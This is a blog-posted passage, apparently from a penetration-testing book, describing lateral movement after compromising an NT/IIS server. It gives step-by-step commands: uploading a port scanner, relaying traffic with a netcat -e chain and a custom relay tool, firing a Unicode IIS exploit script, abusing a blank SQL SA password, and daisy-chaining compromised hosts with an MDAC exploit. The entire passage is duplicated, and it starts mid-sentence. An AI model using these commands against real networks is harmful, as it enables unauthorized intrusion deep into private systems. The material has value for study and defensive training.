A tool that I like using once command line access has been gained on a NT
box is FSCAN.EXE(get it at Packetstorm or at
www.sensepost.com/book/fscan.exe). It is a nifty command line portscanner
that is packed with features. Once compromised, this portscanner is
uploaded, and scanning on the rest of the network can begin. Make sure that
you know where to scan - study your surroundings, like explained earlier.
Let us look at an example:
>fscan 169.xxx.201.1-169.xxx.201.255 -p 80,1433,23 -o
c:\inetpub\wwwroot\sportscan.txt
Above portscan will identify all host running webservers, telnet daemons and
MS-SQL, and will send the output directly to a file called sportscan.txt
that is located in the webroot -ready to be surfed. The output of such a
scan could look like this:
Scan started at Thu Oct 12 05:22:23 2000
169.xxx.201.2 23/tcp
169.xxx.201.4 80/tcp
169.xxx.201.4 1433/tcp
169.xxx.201.11 80/tcp
169.xxx.201.20 1433/tcp
169.xxx.201.77 80/tcp
169.xxx.201.160 80/tcp
169.xxx.201.254 23/tcp
Scan finished at Thu Oct 12 05:52:53 2000
Time taken: 765 ports in 30.748 secs (24.88 ports/sec)
From this portscan we can neatly identify potential "next hop" servers. If
we assume that 169.xxx.201.4 is located in the private network (and that the
host where this scan was executed from is in the DMZ) it makes sense to try
to find the same vulnerabilities on 169.xxx.201.4. The idea is thus to
compromise this host - that will give us access to resources on the private
network. It might even be interesting to see what is running on the MS-SQL
part of the server. We now want to be able to fire up SQL Enterprise server,
hop via the compromised host right onto the SQL port on 169.xxx.201.4
(assuming of course that we cannot go there direct). How is this
accomplished? One way could be to hook two instances of netcattogether -
something like nc -l -p 53 -e 'nc 169.xxx.201.4 1443', but I have found that
this method does not work that nice in all situations. Courtesy of a good
friend of mine (you know who you are) enter TCPR.EXE. Tcpr.exetakes 4
arguments:
tcpr <listenPort> <destinationIP> <destinationPort> <killfile>
Tcprstarts to listen on listenPort, relaying (on a network level) all
traffic to destinationIPon port destinationPort. Before it relays a
connection it checks for the existence of killfile, and if so, it exists
very quietly. The killfileis only there to make it easy to kill the relay
as there is no kill `ps -ax | grep tcpr | awk '{print $1}'`available in the
standard NT distribution. With tcprwe can now redirect traffic on a non-filtered port on the first host to a port on the next victim. The TCPR.EXE
program and source is available at www.sensepost.com/book/tcp.zip. (note:
yeah I know its not there – ask me for it and I’ll send it to you).
Keeping all of above in mind, we could reach the SQL server by uploading
tcpr.exeto the victim and executing the following command (let us assume
that the site is vulnerable to the Unicode exploit - the attacker is using
my Unicode PERL exploit, port 53 is not filtered, and tcpr.exehas been
uploaded to c:\tempusing the upload page):
perl unicodexecute2.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 1443
c:\blah.txt'
Pointing your SQL enterprise manager to <target> on port 53 will now reach
the SQL server running on the inside of the private network. Assuming a
blank SA password, we are home free. When we are finished with the SQL
server, and now want to attack the webserver we simple do:
perl unicodexecute2.pl <target>:80 'echo aaa > c:\blah.txt'
telnet <target> 53
perl unicodexecute2.pl <target>:80 'del c:\blah.txt'
perl unicodexecute2.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 80
c:\blah.txt'
Using this technique we can now "daisy chain" several exploitable IIS
servers together, reaching deep within a network. If we assume that the
server on 169.xxx.201.4 is exploitable via the MDAC bug, exploiting the
server would be as simple as:
perl rfpnew.pl -h <target> -p 53 -C '<whatever>'
By simply modifying the convert.pl script mentioned earlier to point to port
53, we can start to build the upload page on the internal server, and the cycle continues. If you struggle to keep track on what server you are
working don't despair, it happens.
box is FSCAN.EXE(get it at Packetstorm or at
www.sensepost.com/book/fscan.exe). It is a nifty command line portscanner
that is packed with features. Once compromised, this portscanner is
uploaded, and scanning on the rest of the network can begin. Make sure that
you know where to scan - study your surroundings, like explained earlier.
Let us look at an example:
>fscan 169.xxx.201.1-169.xxx.201.255 -p 80,1433,23 -o
c:\inetpub\wwwroot\sportscan.txt
Above portscan will identify all host running webservers, telnet daemons and
MS-SQL, and will send the output directly to a file called sportscan.txt
that is located in the webroot -ready to be surfed. The output of such a
scan could look like this:
Scan started at Thu Oct 12 05:22:23 2000
169.xxx.201.2 23/tcp
169.xxx.201.4 80/tcp
169.xxx.201.4 1433/tcp
169.xxx.201.11 80/tcp
169.xxx.201.20 1433/tcp
169.xxx.201.77 80/tcp
169.xxx.201.160 80/tcp
169.xxx.201.254 23/tcp
Scan finished at Thu Oct 12 05:52:53 2000
Time taken: 765 ports in 30.748 secs (24.88 ports/sec)
From this portscan we can neatly identify potential "next hop" servers. If
we assume that 169.xxx.201.4 is located in the private network (and that the
host where this scan was executed from is in the DMZ) it makes sense to try
to find the same vulnerabilities on 169.xxx.201.4. The idea is thus to
compromise this host - that will give us access to resources on the private
network. It might even be interesting to see what is running on the MS-SQL
part of the server. We now want to be able to fire up SQL Enterprise server,
hop via the compromised host right onto the SQL port on 169.xxx.201.4
(assuming of course that we cannot go there direct). How is this
accomplished? One way could be to hook two instances of netcattogether -
something like nc -l -p 53 -e 'nc 169.xxx.201.4 1443', but I have found that
this method does not work that nice in all situations. Courtesy of a good
friend of mine (you know who you are) enter TCPR.EXE. Tcpr.exetakes 4
arguments:
tcpr <listenPort> <destinationIP> <destinationPort> <killfile>
Tcprstarts to listen on listenPort, relaying (on a network level) all
traffic to destinationIPon port destinationPort. Before it relays a
connection it checks for the existence of killfile, and if so, it exists
very quietly. The killfileis only there to make it easy to kill the relay
as there is no kill `ps -ax | grep tcpr | awk '{print $1}'`available in the
standard NT distribution. With tcprwe can now redirect traffic on a non-filtered port on the first host to a port on the next victim. The TCPR.EXE
program and source is available at www.sensepost.com/book/tcp.zip. (note:
yeah I know its not there – ask me for it and I’ll send it to you).
Keeping all of above in mind, we could reach the SQL server by uploading
tcpr.exeto the victim and executing the following command (let us assume
that the site is vulnerable to the Unicode exploit - the attacker is using
my Unicode PERL exploit, port 53 is not filtered, and tcpr.exehas been
uploaded to c:\tempusing the upload page):
perl unicodexecute2.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 1443
c:\blah.txt'
Pointing your SQL enterprise manager to <target> on port 53 will now reach
the SQL server running on the inside of the private network. Assuming a
blank SA password, we are home free. When we are finished with the SQL
server, and now want to attack the webserver we simple do:
perl unicodexecute2.pl <target>:80 'echo aaa > c:\blah.txt'
telnet <target> 53
perl unicodexecute2.pl <target>:80 'del c:\blah.txt'
perl unicodexecute2.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 80
c:\blah.txt'
Using this technique we can now "daisy chain" several exploitable IIS
servers together, reaching deep within a network. If we assume that the
server on 169.xxx.201.4 is exploitable via the MDAC bug, exploiting the
server would be as simple as:
perl rfpnew.pl -h <target> -p 53 -C '<whatever>'
By simply modifying the convert.pl script mentioned earlier to point to port
53, we can start to build the upload page on the internal server, and the cycle continues. If you struggle to keep track on what server you are
working don't despair, it happens.
No comments:
Post a Comment